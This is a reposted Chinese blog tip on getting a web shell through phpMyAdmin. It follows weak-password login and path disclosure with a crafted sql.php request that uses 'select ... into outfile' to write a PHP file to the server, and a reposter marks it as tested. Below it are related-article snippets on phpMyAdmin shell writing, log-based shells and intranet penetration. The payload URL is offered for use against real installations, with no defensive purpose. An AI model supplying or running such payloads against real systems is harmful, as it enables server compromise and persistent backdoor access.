phpmyadmin另类拿shell

发现了个PHPMYADMIN 结果弱口令登陆进去爆出绝对路径然后执行SQL语句发现导出SHELL的时候却发现缺少了import.php这个文件结果没办法执行MYSQL语句！然后本地测试了下发现另外的方法

==========================================

phpMyAdmin/sql.php?db=test&table=a&printview=1&sql_query=select%20cmd%20from+a%20into%20outfile%20'E:\\test1.php';&display_text=F&token=dc49fb24f86a6dc2b996b5d4211cccb4

==========================================

樱花浪子注：测试已OK

转载于:https://blog.51cto.com/obnus/503653

phpmyadmin另类拿shell相关推荐

YXcms之利用phpMyAdmin拿shell
前些天大哥们在学校内网搭了这个YXcms靶场,记录一下这次测试过程的一些方法感受,分享一下. 首先信息收集一波,不管拿到什么站点,第一件要做的事就是信息收集,收集越多的信息,那拿下这个站点的成功率也就 ...
phpMyAdmin 常见漏洞利用记录
目录简介 phpmyadmin版本信息获取 phpmyadmin密码爆破 phpmyadmin文件写入 phpmyadmin日志写shell phpmyadmin版本漏洞 phpmyadmin 2. ...
爆路径写后门拿shell的一些姿势
[PhpMyAdmin后台拿Shell] CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL ); INSERT INTO `mysql`.` ...
kali扫描内网ip_来，我们聊聊内网渗透！
文章来源:Admin Team 0x00 前言前段时间再看 metasploit 和白帽子讲 Web 安全,就一直想自己搭个从 Web 端渗透进入内网的环境玩一下,不过因为不太懂计网的知识,拓扑图也 ...
ubuntu mysql的穷_Ubuntu安装配置Mysql
三种安装方式: 1. 从网上安装 sudo apt-get install mysql-server.装完已经自动配置好环境变量,可以直接使用mysql的命令. 注:建议将/etc/apt/sourc ...
ubuntu中mysql操作_uBuntu下安装MySql，及mySql操作！
1. 从网上安装 sudo apt-get install mysql-server.装完已经自动配置好环境变量,可以直接使用mysql的命令. 注:建议将/etc/apt/source.list中的 ...
Ubuntu安装配置Mysql
http://www.cnblogs.com/wuhou/archive/2008/09/28/1301071.html 三种安装方式: 1. 从网上安装 sudo apt-get install m ...
[转载]Ubuntu安装配置Mysql
http://www.cnblogs.com/wuhou/archive/2008/09/28/1301071.html 三种安装方式: 1. 从网上安装 sudo apt-get install m ...
mysql10038_navicat for mysql (10038)如何解决
1.授权(youpassword修改为你的密码) #本机登陆mysql: $:mysql -u root -p #改变数据库: mysql>use mysql; #从所有主机: mysql> ...

phpmyadmin另类拿shell

phpmyadmin另类拿shell相关推荐

最新文章

热门文章